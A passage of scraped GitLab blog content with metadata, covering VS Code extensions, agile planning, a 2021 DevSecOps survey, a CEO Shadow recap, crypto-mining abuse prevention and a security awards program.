issues](https://stackoverflow.com/questions/60232215/visual-studio-code-source-control-not-showing-changes) with changes in the file not appearing to the source code, unless inputted manually.\n\nOne user offered a 7-step solution that worked for them. Another said that all they had to do was disable and then reenable the build in Git extension, which fixed it. Yet another said they went to their “code” folder where they keep all their repos, right-clicked on the folder containing the repo they wanted and opening that folder with VS code.\n\nAn often-used approach to look at issues is to pick one to work on, create a branch to work in, make some commits, then merge your changes back into the main or default branch with a pull request. You can do that from the new Issues view.\n\n#### GitLab Workflow extensions for VS Code\n\nThe [GitLab Workflow extension](https://marketplace.visualstudio.com/items?itemName=GitLab.gitlab-workflow) integrates GitLab with VS Code. You can decrease context switching and do more day-to-day tasks in VS Code, such as:\n\n- [View issues](https://marketplace.visualstudio.com/items?itemName=GitLab.gitlab-workflow#browse-issues-review-mrs).\n- Run [common commands](https://marketplace.visualstudio.com/items?itemName=GitLab.gitlab-workflow#commands) from the Visual Studio Code [command palette](https://code.visualstudio.com/docs/getstarted/userinterface#_command-palette).\n- Create and [review](https://marketplace.visualstudio.com/items?itemName=GitLab.gitlab-workflow#merge-request-reviews) merge requests directly from Visual Studio Code.\n- [Validate](https://marketplace.visualstudio.com/items?itemName=GitLab.gitlab-workflow#validate-gitlab-ci-configuration) your GitLab CI configuration.\n- [View the status](https://marketplace.visualstudio.com/items?itemName=GitLab.gitlab-workflow#information-about-your-branch-pipelines-mr-closing-issue) of your current pipeline.\n- [Create](https://marketplace.visualstudio.com/items?itemName=GitLab.gitlab-workflow#create-snippet) and paste snippets to, and from, your editor.\n- [Browse repositories](https://marketplace.visualstudio.com/items?itemName=GitLab.gitlab-workflow#browse-a-repository-without-cloning) without cloning them\n\nDownload the extension from the [Visual Studio Code Marketplace](https://marketplace.visualstudio.com/items?itemName=GitLab.gitlab-workflow). Then you can configure:\n\n- [Features to display or hide](https://gitlab.com/gitlab-org/gitlab-vscode-extension#extension-settings).\n- [Self-signed certificate](https://marketplace.visualstudio.com/items?itemName=GitLab.gitlab-workflow#self-signed-certificates) information\n\nReport any issues, bugs, or feature requests in the [gitlab-vscode-extension issue queue](https://gitlab.com/gitlab-org/gitlab-vscode-extension/-/issues).\n\nThis extension supports GitLab Version 13.0 and later. To find your GitLab version, visit [help](https://gitlab.com/help).\n\nYou can also see pipeline status, open MR and closing issue links in the status bar. The pipeline status is updated automatically so you don’t need to open GitLab to see your pipeline status.\n\nWithin the marketplace you can also use the command palette to run the commands and create a GitLab personal access token (required) and assign it to the extension.\n\nYou can also set set the token in an environment variable and learn how to change the VS Code settings. There are instructions for several other in-depth features as well.\n\n## How GitLens simplifies working with VS Code editor\n\nUp until now, the tips were centered around the [GitLab Workflow extension](https://marketplace.visualstudio.com/items?itemName=GitLab.gitlab-workflow), but there is a fantastic extension that's improving VS Code git integration regardless of where you host your repository: [GitLens](https://marketplace.visualstudio.com/items?itemName=eamodio.gitlens).\n\n### Walking file history\n\nGitLens makes it easy to browse the history of changes to the current file. Each versioned file will have three new editor icons, which provides quick access to all previous revisions of the file. The middle button seen in the image below provides series of actions on the current version (e.g., opening the commit in GitLab web).\n\n![GitLens history browsing buttons](https://about.gitlab.com/images/blogimages/vscode-workflows-for-working-with-gitlab/gitlens-history.png){: .shadow.medium.center}\nGitLens history browsing buttons\n{: .note .text-center}\n\n### How to compare current HEAD against branch or tag\n\nOne of my habits was inspecting `git diff` between my feature branch and the main branch before creating an MR. More often than not, I forgot to write a test or remove some pesky `console.log()`.\n\nGitLens adds multiple sections to your [\"Source Control\" tab](https://code.visualstudio.com/docs/editor/versioncontrol#_scm-providers). For each branch, tag, and commit, click a \"Compare\" icon which will show you changes between your current HEAD and the reference. Seeing the local diff is great for previewing changes before pushing the new branch to the remote.\n\n![GitLens - compare with branch](https://about.gitlab.com/images/blogimages/vscode-workflows-for-working-with-gitlab/gitlens-compare.png){: .shadow.medium.center}\nHow to compare with a branch using GitLens.\n{: .note .text-center}\n\n## Everyone can contribute\n\nNew features and fixes to the GitLab Visual Studio Code editor extension are added every month. If you find any issues or have a feature request, please go to our [GitLab VSCode issues tracker](https://gitlab.com/gitlab-org/gitlab-vscode-extension/-/issues) and if your request isn't already present in the tracker, create one. Everyone can contribute to GitLab, and we welcome your ideas on how to improve our Visual Studio Code editor.\n\n## Read more on Visual Studio and GitLab:\n\n- [Four new tools for your Visual Studio Code and GitLab tool belt](/blog/vscode-workflow-new-features/)\n\n- [VS Code extension development with GitLab](/blog/vscode-extension-development-with-gitlab/)\n\n- [How to do GitLab merge request reviews in VS Code](/blog/mr-reviews-with-vs-code/)\n\n- [How we created a GitLab Workflow Extension for VS Code](/blog/use-gitlab-with-vscode/)\n\n",[232,696],{"slug":18427,"featured":6,"template":678},"vscode-workflows-for-working-with-gitlab","content:en-us:blog:vscode-workflows-for-working-with-gitlab.yml","Vscode Workflows For Working With Gitlab","en-us/blog/vscode-workflows-for-working-with-gitlab.yml","en-us/blog/vscode-workflows-for-working-with-gitlab",{"_path":18433,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":18434,"content":18440,"config":18445,"_id":18447,"_type":16,"title":18448,"_source":17,"_file":18449,"_stem":18450,"_extension":20},"/en-us/blog/agile-planning-with-a-devops-platform",{"title":18435,"description":18436,"ogTitle":18435,"ogDescription":18436,"noIndex":6,"ogImage":18437,"ogUrl":18438,"ogSiteName":1180,"ogType":1181,"canonicalUrls":18438,"schema":18439},"Agile planning with a DevOps platform","How a DevOps platform enables an entirely different way to plan and manage work","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749669233/Blog/Hero%20Images/photo-1531403009284-440f080d1e12.jpg","https://about.gitlab.com/blog/agile-planning-with-a-devops-platform","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Agile planning with a DevOps platform\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Cormac Foster\"}],\n        \"datePublished\": \"2021-05-19\",\n      }",{"title":18435,"description":18436,"authors":18441,"heroImage":18437,"date":18442,"body":18443,"category":1897,"tags":18444},[16704],"2021-05-19","\n\nSeveral years ago, a portfolio manager asked me if he needed to learn about “all the stuff the [DevOps](/topics/devops/) people do.” I told him yes, explained why it was worth it to “learn their language,” and discussed how he could extract nuggets of information to help unlock product value. It was good advice at the time, but it didn’t answer the bigger question—“Sure, he *should*, but should he *have to*?” \n\nThe answer to that question is no. He already had a job—managing a P&L for several products. He shouldn’t have to learn another job just to do that one well. \n\nTools are rarely the solution, but they’re often the problem. At the time, without custom integration, lots of digging, manual translation, and a little bit of luck, there just wasn’t a good way to surface all the information the portfolio manager needed to do his job well. At best, he’d receive batched reports from different tools in his DevOps toolchain, with none of them connected to the tools where decisions were made. So putting on a DevOps hat was the best compromise.\n\nTimes have changed for the better. DevOps and Agile have matured. We’ve established best practices, we know how and when to deviate from them, and we have an idea how we’d like to improve them. On the tool side, that means we’re ready to ditch those toolchains for a platform.\n\nGitLab was the first [DevOps platform](/solutions/devops-platform/) — designed as a single application from the beginning — but platform evolution is nothing new. Salesforce combines what used to be a disparate toolchain with massive integration overhead into a CRM platform that anyone, in any role, can use to boost productivity. Recently, the industry seems to have started to endorse the trend toward DevOps platforms. Last year, Gartner identified a new market in its [2020 Market Guide for Value Stream Delivery Platforms](https://about.gitlab.com/analysts/gartner-vsdp21/), in which GitLab was a Representative Vendor. \n\n![Epic roadmap view in GitLab](https://about.gitlab.com/images/blogimages/epic_roadmap.png \"Status rollups in epic roadmaps are always up-to-date\")\n\nWe’re excited to see industry experts recognize that we’ve reached the next stage of evolution. But what does a DevOps platform mean for that portfolio manager, or a product owner, or anyone else focused on the “business” end of business? Quite a lot, actually. It means:\n\n* Accuracy: When the work happens inside the same system of the planning, there is no lost data at API chokepoints, no delayed outputs from batch processes, and no doubt that the status rollups for an epic are anything but up-to-date.\n* Visibility: When you need more than a roll-up of an initiative’s status, a DevOps platform lets you inform your planning by clicking through into any level of detail — down to actual code changes or security and performance scan results.\n* Efficiency: Contextual drilldowns mean never again having to sift through spreadsheets full of useless-to-you data just to find that one thing you need.\n* Actionability: “Reporting” is so 20th century. A DevOps platform lets you learn, plan, and execute in the same system, removing blockers, collaborating, and adjusting course without losing any context or time.\n* Delivery speed: Fewer resources spent maintaining integrations means more developers and ops personnel focused on actually delivering value to your users.\n\nDon’t just take our word for it: look at customers like [British Geological Survey](/customers/bgs/), which uses GitLab to collaborate across roles.\n\n> *“GitLab has become our central place to store code and issues. It's become a mission critical system for our organization.”*\n>\n> **Wayne Shelley**, DevOps integration leader, BGS\n\nIndustry experts are responding to our approach. In its [2021 Magic Quadrant for Enterprise Agile Planning Tools](https://learn.gitlab.com/2021-mq-eapt), Gartner named GitLab a Leader for the first time. We’re proud of the recognition, but we’re even more excited to continue to build on our unique take on Agile planning in the future — and you’re a part of that future. Please read our planning [vision](https://about.gitlab.com/direction/plan/#our-vision-of-a-loveable-solution) and contribute!\n\n_Gartner, Magic Quadrant for Enterprise Agile Planning Tools, Bill Blosen, Mike West, Deacon D.K Wan, Akis Sklavounakis, Keith Mann, Wan Fui Chan, Hassan Ennaciri, 20 April 2021_\n\n_Gartner does not endorse any vendor, product or service depicted in its research publications and does not advise technology users to select only those vendors with the highest ratings or other designation. Gartner research publications consist of the opinions of Gartner’s research organization and should not be construed as statements of fact. Gartner disclaims all warranties, expressed or implied, with respect to this research, including any warranties of merchantability or fitness for a particular purpose._\n\nCover image by [Alvaro Reyes](https://unsplash.com/@alvarordesign) [](https://unsplash.com/@martinsanchez?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)on [Unsplash](https://unsplash.com/photos/qWwpHwip31M)\n\n## Read more about the DevOps Platform:\n\n- [The journey to a DevOps Platform](/blog/the-journey-to-a-devops-platform/)\n\n- [How ten steps over ten years led to the DevOps Platform](/blog/how-ten-steps-over-ten-years-led-to-the-devops-platform/)\n\n- [Making the case for a DevOps platform: What data and customers say](/blog/making-the-case-for-a-devops-platform-what-data-and-customers-say/)\n\n- [Welcome to the DevOps Platform era](/blog/welcome-to-the-devops-platform-era/)\n\n- [It's time to build more accessible software. A DevOps platform can help](/blog/how-the-devops-platform-makes-building-accessible-software-easier/)\n",[1899,2368,4103],{"slug":18446,"featured":6,"template":678},"agile-planning-with-a-devops-platform","content:en-us:blog:agile-planning-with-a-devops-platform.yml","Agile Planning With A Devops Platform","en-us/blog/agile-planning-with-a-devops-platform.yml","en-us/blog/agile-planning-with-a-devops-platform",{"_path":18452,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":18453,"content":18459,"config":18466,"_id":18468,"_type":16,"title":18469,"_source":17,"_file":18470,"_stem":18471,"_extension":20},"/en-us/blog/2021-devsecops-survey-the-great-shift-left-continues",{"title":18454,"description":18455,"ogTitle":18454,"ogDescription":18455,"noIndex":6,"ogImage":18456,"ogUrl":18457,"ogSiteName":1180,"ogType":1181,"canonicalUrls":18457,"schema":18458},"DevSecOps maturity insights from 2021 global survey","72% of security pros rated their organizations’ security efforts as “strong” or “good.” Could 2021 be the year DevSecOps becomes a reality?","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749678388/Blog/Hero%20Images/advanced-devsecops-practices.jpg","https://about.gitlab.com/blog/2021-devsecops-survey-the-great-shift-left-continues","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Looking for a DevSecOps maturity model that works? Start with our 2021 Global Survey\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Chrissie Buchanan\"}],\n        \"datePublished\": \"2021-05-18\",\n      }",{"title":18460,"description":18455,"authors":18461,"heroImage":18456,"date":18463,"body":18464,"category":8943,"tags":18465},"Looking for a DevSecOps maturity model that works? Start with our 2021 Global Survey",[18462],"Chrissie Buchanan","2021-05-18","\n\nOur [2022 Global DevSecOps Survey](/developer-survey/) is out now! Learn the latest in DevOps insights from over 5,000 DevOps professionals.\n\nIn our 2021 Survey, 4300 people told us about their successes and their challenges, but in some ways the biggest takeaway were the signs of a burgeoning DevSecOps maturity model. Somehow, when Covid and [DevOps](/topics/devops/) collided, big things started to happen particularly around DevSecOps.\n\n## Yes, Virginia, there is a DevSecOps\n\nMore teams are doing DevSecOps than ever before – and doing it well. Fully 72% of security professionals rated their organizations' security efforts as \"strong\" or \"good,\" a significant increase from 59% the year before. This shows us that investments in security and the cultural shifts from DevOps to DevSecOps are paying off.\n\n## That's right, we're shifting left\n\n![Anonymous DevSecOps survey response](https://about.gitlab.com/images/blogimages/devsecops-survey-quote.png){: .medium.left.wrap-text}\n\nOver 70% of security pros said their teams have shifted left and moved security earlier into the development lifecycle. So who's in charge? That's still an open question in this new DevSecOps maturity model. Almost 31% of security pros told us **they** were the ones in charge, but 28% said *everyone* that was responsible, almost identical to last year's survey. And when it came to finding bugs, 77% of security pros admitted to being the exterminators in their org (not devs) after code is merged in a test environment. \n\nSo how is it shifting left? While there are some conflicting responses (Devs! Security! Devs! Security!) – the truth is probably somewhere in the testing.\n\n## The SAST and the furious\n\nIn this new DevSecOps maturity model there is simply more testing (and that's never a bad thing). Today, 53% of developers run SAST scans (a 13% increase from last year) and 44% run DAST scans (a 17% increase from last year). Better yet, over 50% of security pros report their devs scan containers, run dependency scans, and do license compliance checks. That's all excellent news! So all testing issues are solved, right? Well, not exactly.\n\nSecurity testing remains a sticking point. While security pros agreed that their teams are shifting left, testing still happens too late in the process (over 42%), and it's still was a struggle to fix vulnerabilities. While security is finding most of the bugs, almost 37% of them said it was tough to track the status of the bug fixes, and 33% said it was hard to prioritize the remediations. Finally, 32% said just finding someone to fix the problems was a headache too.\n\n![DevSecOps survey results](https://about.gitlab.com/images/blogimages/devsecops-survey-2.png){: .medium.center}\n\nIn spite of everything thrown at them over the last year, DevOps teams are innovating and collaborating on problems like never before, and this year's DevSecOps survey results are showing just how far we've come. Still, there are opportunities for growth and security challenges left to solve. \n\nOur 2022 GitLab DevSecOps Survey has the latest insights from over 5,000 DevOps professionals. [Download the report](/developer-survey/) and learn about the practices and processes that are shaping the way we deliver software. You can also compare it with [previous year surveys](/developer-survey/previous/)\n",[8570,674],{"slug":18467,"featured":6,"template":678},"2021-devsecops-survey-the-great-shift-left-continues","content:en-us:blog:2021-devsecops-survey-the-great-shift-left-continues.yml","2021 Devsecops Survey The Great Shift Left Continues","en-us/blog/2021-devsecops-survey-the-great-shift-left-continues.yml","en-us/blog/2021-devsecops-survey-the-great-shift-left-continues",{"_path":18473,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":18474,"content":18480,"config":18485,"_id":18487,"_type":16,"title":18488,"_source":17,"_file":18489,"_stem":18490,"_extension":20},"/en-us/blog/ceo-shadow-recap",{"title":18475,"description":18476,"ogTitle":18475,"ogDescription":18476,"noIndex":6,"ogImage":18477,"ogUrl":18478,"ogSiteName":1180,"ogType":1181,"canonicalUrls":18478,"schema":18479},"CEO Shadow Takeaways from Jacie","Recap of my experience in the CEO Shadow Program.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749664102/Blog/Hero%20Images/gitlab-values-cover.png","https://about.gitlab.com/blog/ceo-shadow-recap","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"CEO Shadow Takeaways from Jacie\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Jacie Bandur\"}],\n        \"datePublished\": \"2021-05-18\",\n      }",{"title":18475,"description":18476,"authors":18481,"heroImage":18477,"date":18463,"body":18483,"category":18484},[18482],"Jacie Bandur","\n\n{::options parse_block_html=\"true\" /}\n\n\nHi! I’m Jacie Bandur. I completed GitLab’s CEO Shadow program from 2021-04-26 through 2021-05-07. It was a really enlightening experience. I generally work in Learning and Development and consider myself a lifelong learner. I can’t even explain how much I learned in such a short about of time. I learned a lot about the business. I learned a lot about the product. But learned even more about the importance of iteration in everything we do. \n\n### Qualifications to Participate\n\nI wanted to start this off with touching on qualifications to participate in the program. \n\nI am the type of person that has gone through most of my life thinking I’m not qualified for things. I’m not qualified for that job, that promotion, that program. The list goes on and on. \n\nWhen I saw the [CEO Shadow program](/blog/ceo-shadow-impressions-takeaways/) kick off in 2019, I really wanted to participate. I was a little intimidated. Who wouldn’t be, spending 2 weeks with the CEO of any company? But time passed and all the sudden it was 2021 and I had not taken any steps to participating in the program. \n\nIf you are sitting there waiting for someone to tell you that you are qualified to participate in this program, I’m not big on giving “pep talks,” but here’s me telling you - You are qualified for this program. There’s never going to be a good or perfect time to do it. Tell your manager you want to do the CEO Shadow program. Stop waiting. Sign up today. \n\nNote: Take a look at the [eligibility](https://about.gitlab.com/handbook/ceo/shadow/#eligibility) section of the CEO Shadow page for more information on signing up. \n\n### Pre-Program Tips\n\nThere are many things recommended for shadows to do pre-program outlined on the CEO Shadow handbook page. As I was going through the program there were things that I thought helped me (or would have helped me). \n\nHere are my top 6 recommendations: \n\n1. Make sure your team knows you will be unavailable for 2 weeks. This isn’t a program that can or should be done alongside your normal day to day work. I found catching up from the 2 weeks away kind of difficult because I was trying to keep up on what was going on and I had a bunch of half done things. \n1. Talk with people who have done the shadow program - schedule at least 3 coffee chats with CEO Shadow Alumni. \n1. Have food that is easy to eat quickly. Sid’s meetings are back to back most days, so you will have small amounts of time to eat throughout the day. Sid does eat during calls, which you are welcome to do, too, but if you are taking notes, it is difficult to eat. And this will make you realize why speedy meetings are so important!  \n1. Listen to the [Executive Leadership LinkedIn Learning course](https://www.linkedin.com/learning/executive-leadership/).  \n1. Be prepared to ask questions. When doing the program virtually, there isn’t a ton of time for asking questions, so when one would come up, I would add it to a note on my computer and ask if there was ever time with just the shadows and Sid. \n1. Take at least 1 day off after the program. Take even a couple of days off if you can! This is recommended on the handbook page, but I can’t stress this enough. \n\n\n### Takeaways\n\n**Group Conversations**\n\nI’ve been at GitLab for almost 4 years. When I joined, I made it a point to attend as many GC’s as I could. I had gotten out of the habit of attending Group Conversations. After attending them again for 2 weeks, I realized how important they are to understand better what is going on across the business. Everything in the organization is so intertwined. It’s helpful to understand what other teams are working on and succeeding in. \n\n**Feedback**\n\nWe should all be giving and receiving feedback often. We have a whole [handbook page on giving and receiving feedback](https://about.gitlab.com/handbook/people-group/guidance-on-feedback/). Read the handbook page and watch the videos, as well. Practice giving feedback. I recommend using the [1-1 agenda](https://about.gitlab.com/handbook/leadership/1-1/suggested-agenda-format/) Sid uses, because Feedback is an essential piece of that agenda, and it makes feedback more of a routine thing. \n\n**Biggest Takeaway**\n\nWe have an incredible team here at GitLab, from Engineering to Product to Sales to People and all the groups in between. There are so many great ideas. I observed the constant reinforcement by Sid to start with something small and build on it. You can ALWAYS make something more complex. It’s hard to go back to something more simple when you start with something complex. \n\nA couple of quotes that I heard from Sid during the program that reinforced this point: \n\n- “Every complex system evolves from a simple system that worked.”\n- “It’s very clear what is the simple solution. We can always make it more complicated as we go on.” \n\nI know they are very similar, but they happened in different meetings on different days, so the point was reinforced repeatedly. \n\nDuring the program, I reflected on the projects that I’am working on. How many of them am I trying to do too much on before releasing. Probably all of them. When I’m working on projects in the future, I will break them down into smaller, more doable chunks. Iteration is hard - it’s a skill to be practicing constantly. \n\n\n### Overall \n\nOverall, the program was really insightful and impactful. If you haven’t participated in it yet, I cannot encourage you enough to do so!\n","unfiltered",{"slug":18486,"featured":6,"template":678},"ceo-shadow-recap","content:en-us:blog:ceo-shadow-recap.yml","Ceo Shadow Recap","en-us/blog/ceo-shadow-recap.yml","en-us/blog/ceo-shadow-recap",{"_path":18492,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":18493,"content":18498,"config":18503,"_id":18505,"_type":16,"title":18506,"_source":17,"_file":18507,"_stem":18508,"_extension":20},"/en-us/blog/prevent-crypto-mining-abuse",{"title":18494,"description":18495,"ogTitle":18494,"ogDescription":18495,"noIndex":6,"ogImage":12013,"ogUrl":18496,"ogSiteName":1180,"ogType":1181,"canonicalUrls":18496,"schema":18497},"How to prevent crypto mining abuse on GitLab.com SaaS","GitLab now requires new users to provide a valid credit or debit card in order to use free pipeline minutes on GitLab.com SaaS.","https://about.gitlab.com/blog/prevent-crypto-mining-abuse","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to prevent crypto mining abuse on GitLab.com SaaS\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2021-05-17\",\n      }",{"title":18494,"description":18495,"authors":18499,"heroImage":12013,"date":18500,"body":18501,"category":736,"tags":18502},[711],"2021-05-17","\n\n**Update: As of 2022-01-13, GitLab no longer requires users created after 2021-05-17 to provide a valid credit or debit card in order to run CI/CD jobs hosted at GitLab, [if those CI/CD jobs are run on namespaces that have purchased CI/CD minutes that have not been used](https://gitlab.com/gitlab-org/gitlab/-/issues/349835).**\n\n**Update: As of 2021-07-17, GitLab has implemented [CI minute quotas](https://docs.gitlab.com/ee/subscriptions/gitlab_com/index.html#ci-pipeline-minutes) for public projects on new namespaces. Existing public projects and namespaces are not impacted.**\n\n**Update: As of 2021-05-24, GitLab will require trial users created on or after 2021-05-17 to provide a valid credit or debit card number in order to use CI jobs hosted at GitLab. Prospective customers that are unable or unwilling to provide a card can reach out to [sales for assistance](https://about.gitlab.com/sales/)** \n\nRecently, there has been a massive uptick in abuse of free pipeline minutes available on GitLab.com and on\n[other CI/CD providers](https://layerci.com/blog/crypto-miners-are-killing-free-ci/) to mine cryptocurrencies.\nIn addition to the cost increases, the abuse creates intermittent performance issues for GitLab.com users\nand requires our teams to work 24/7 to maintain optimal services for our customers and users.\nTo discourage and reduce abuse, starting May 17, 2021, GitLab will require new [free users](/pricing/) to provide a valid credit or debit card number in order to use shared runners on GitLab.com. A user will be able to run pipelines without providing a credit or debit card if they use their own runner and disable shared runners.\nAlthough imperfect, we believe this solution will reduce the abuse.\n\n\nWe plan to rollout this change gradually and increase the scope if needed as follows:\n- Start with adding the new requirement for new free users created on or after May 17, 2021.\n- If we continue to see abuse through existing free accounts, we plan to extend the requirement to additional users.\n\nThis change does not currently impact any of the following users:\n\n* GitLab self-managed customers and users (free or otherwise)\n* Paid or program users (e.g., [education](/solutions/education/), [open source](https://about.gitlab.com/solutions/open-source/)) on GitLab.com\n* Users created before **May 17, 2021**\n\nWhen you provide the card, it will not be charged but instead will be verified with a one-dollar authorization transaction.\nNo charge will be made and no money will transfer.\n\nA credit or debit card is one (of many) controls we have put in place to reduce abuse of our platform.\nWe will never fully solve platform abuse, but the more barriers we put up, the more difficult and expensive it becomes to engage in abuse.\n\nThe GitLab team members have already activated and shipped many improvements. These were helpful in deterring abuse, although are not sufficient.\nA sampling of the fixes we have delivered to mitigate pipeline abuse include:\n\n1. Fail creation of jobs when pipeline minutes quota is exceeded.\n1. Fail pipelines after user exceeds pipeline minutes quota.\n1. Adding restrictions to the creation of namespaces via the API.\n1. Enabling the termination of pipelines when blocking a user.\n1. Ensuring pipelines do not run when pipelines are owned by a blocked user.\n1. Closing gaps in jobs running by user accounts deleted by users.\n1. Utilizing and enhancing the [External Pipeline Validation Service](https://docs.gitlab.com/ee/administration/external_pipeline_validation.html) specifically around authentication, payload, and access restriction.\n1. Ensuring scheduled pipelines don't run by blocked users.\n1. Include public projects in pipeline minutes quota for free users. \n\nAs of July 17, 2021 public projects in namespaces created on July 17th or later will be included in [CI pipeline minute usage quotas](https://docs.gitlab.com/ee/subscriptions/gitlab_com/index.html#ci-pipeline-minutes). Once a free user exceeds the 50,000 minute quota on public projects, a failed pipeline will occur and to resume running the user will need to [purchase additional minutes](https://about.gitlab.com/pricing/faq-compute-credit/#purchasing-additional-cicd-minutes). \n\nWe expect to make enhancements to harden our pipeline system against abuse.\nWe believe using pipeline minute quotas as the foundation for free minute usage will be the best mechanism for failing jobs and pipelines to stop abuse.\nIncluding this effort, our other pipeline abuse improvements are below:\n\n1. Expand application limits for preventing abuse of webhooks.\n\nA user impacted by this change has the following options:\n\n* Provide a credit or debit card and use the 400 free minutes with shared runners.\n* A user can also run pipelines without providing a credit or debit card if they use their [own runner](https://docs.gitlab.com/runner/install/index.html)\n  and [disable shared runners](https://docs.gitlab.com/ee/ci/runners/#disable-shared-runners) for their project.\n* Decline to provide the card and continue to use many of the GitLab capabilities for free.\n  In this case, any feature within GitLab that relies on our pipelines won't work, such as:\n  A pipeline ([CI/CD generally](https://docs.gitlab.com/ee/ci/quick_start/index.html)),\n  scheduled pipelines including [on-demand DAST scans](https://docs.gitlab.com/ee/user/application_security/dast/),\n  [defining your own pipelines](https://docs.gitlab.com/ee/ci/quick_start/#create-a-gitlab-ciyml-file),\n  utilizing [Auto DevOps](https://docs.gitlab.com/ee/topics/autodevops/).\n* Switch to GitLab self-managed\n\n## Validating an account\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n    \u003Ciframe src=\"https://www.youtube-nocookie.com/embed/s3G0qxwT11c\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## Continue the conversation\nPlease share your questions and feedback with us on the [community forum](https://forum.gitlab.com/t/preventing-crypto-mining-abuse-on-gitlab-com-saas/).\n",[1384,736,674],{"slug":18504,"featured":6,"template":678},"prevent-crypto-mining-abuse","content:en-us:blog:prevent-crypto-mining-abuse.yml","Prevent Crypto Mining Abuse","en-us/blog/prevent-crypto-mining-abuse.yml","en-us/blog/prevent-crypto-mining-abuse",{"_path":18510,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":18511,"content":18517,"config":18523,"_id":18525,"_type":16,"title":18526,"_source":17,"_file":18527,"_stem":18528,"_extension":20},"/en-us/blog/how-we-used-gitlab-values-to-build-a-security-awards-program",{"title":18512,"description":18513,"ogTitle":18512,"ogDescription":18513,"noIndex":6,"ogImage":18514,"ogUrl":18515,"ogSiteName":1180,"ogType":1181,"canonicalUrls":18515,"schema":18516},"How we used GitLab values to develop a successful Security Awards Program","We built a program that encourages, recognizes, and awards a shared responsibility for security.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749681989/Blog/Hero%20Images/security-awards-blog.png","https://about.gitlab.com/blog/how-we-used-gitlab-values-to-build-a-security-awards-program","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How we used GitLab values to develop a successful Security Awards Program\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Philippe Lafoucrière\"}],\n        \"datePublished\": \"2021-05-14\",\n      }",{"title":18512,"description":18513,"authors":18518,"heroImage":18514,"date":18520,"body":18521,"category":674,"tags":18522},[18519],"Philippe Lafoucrière","2021-05-14","\n\nSecurity is our [top priority](/handbook/product/product-processes/#prioritization) at GitLab, and like many software companies, we believe security \"is everyone's responsibility\". The more GitLab team and community members are involved, the better. However, we're also scaling quickly, delivering new and large features often and need to stay focused and aligned with our value of [results](https://handbook.gitlab.com/handbook/values/#results).\n\nBecause of this focus and pace, blind spots can develop when it comes to security, so extra hands, minds, and eyes bring immense value. All security contributions to our documentation, product, and workflow are \"actions\" we want to recognize and programs that celebrate those who go the extra-mile, think out-of-the-box, or cautiously assess threats and risk, are a great reminder that everyone can contribute to the ongoing effort that is security. This is why we created the [Security Awards Program](/handbook/security/security-awards-program.html).\n\n## How we built a Security Awards Program using GitLab values\n\nThe program, opened in 2020, is a simple construct: Every valid submission (or action) earns the reporter points and recognition, and prizes are awarded at the end of each quarter. All non-Security team members and community members are eligible to win a grand prize at the end of the year, where the individual with the highest number of points is awarded the top prize.\n\n### Efficiency: Start boring\n\nAt GitLab, every new project is an opportunity to live and apply our values. My personal favorite, [efficiency](https://handbook.gitlab.com/handbook/values/#efficiency), helped us start with a boring solution. The minimum achievement to start the program was to define a basic rule, and document it in our handbook. Nothing more. From this [initial merge request](https://gitlab.com/gitlab-com/www-gitlab-com/-/merge_requests/59279), we kicked off program communications and experimented with the first results. The feedback loop was extremely short, and adjustments were made accordingly.\n\n### Iteration: Improve it as you go along\n\nBecause a successful program needs to scale with time, [iteration](https://handbook.gitlab.com/handbook/values/#iteration) is key to maintain momentum and quickly improve. The first security award nominations arrived soon after we added the concept of the program to our handbook. To easily keep track of them and enable quick updates, we created a simple markdown file hosted in a specific project. While everything could have stayed the same, we knew automation would help us avoid human errors and ensure the program would scale. [Work done this past quarter](https://gitlab.com/groups/gitlab-com/gl-security/-/epics/105) means the nominations are now fetched weekly, the associated data updated and validated, and everything is published automatically.\n\nAnother recent iteration in our Security Awards Program is the move to [automatically reward security merge requests](/handbook/security/security-awards-program.html#automatic-rewards) (merged) that fix a security bug. Our product is not exempt from bugs or security issues and we saw the number of S3s and S4s (learn more about how we apply [severity labels](/handbook/security/#severity-and-priority-labels-on-security-issues)) rising lately.  Adding automatic rewards to target and incentivize identifying these security issues is predictable, simple to employ, and helps us reduce security bugs.\n\n### Collaboration: Everyone adds value\n\nTo be successful, we knew we needed a thriving program that enabled [collaboration](https://handbook.gitlab.com/handbook/values/#collaboration) across the organization and beyond. We work with our AppSec team to identify the initiatives we want to encourage and incentivize, as well as on the overall evaluation of submitted \"actions\". The workflow here is simple: Once it is identified, an \"action\" (an issue or a merge request) is labeled with a \"nomination\" label. Every week, the nominations are imported into a single awards council issue in GitLab for asynchronous discussion. Each nomination is a [thread](https://docs.gitlab.com/ee/user/discussions/) in the council issue, and we use [award emojis](https://docs.gitlab.com/ee/user/award_emojis.html) to set the number of votes. Votes translate to points awarded to the author of the \"action\".\n\n![Screenshot of GitLab Bot message in issue](https://about.gitlab.com/images/blogimages/gitlab-bot-awards-message.png){: .shadow.medium.center}\nWe engage with nominees when they're awarded, extending the visibility of the program and providing an instant feedback loop.\n{: .note.text-center}\n\n### Diversity, inclusion and belonging: New, better ideas\n\nRemember that at GitLab, everyone can contribute. Contributions from the wider GitLab community are essential to maintaining the level of security we expect for our product. The broad 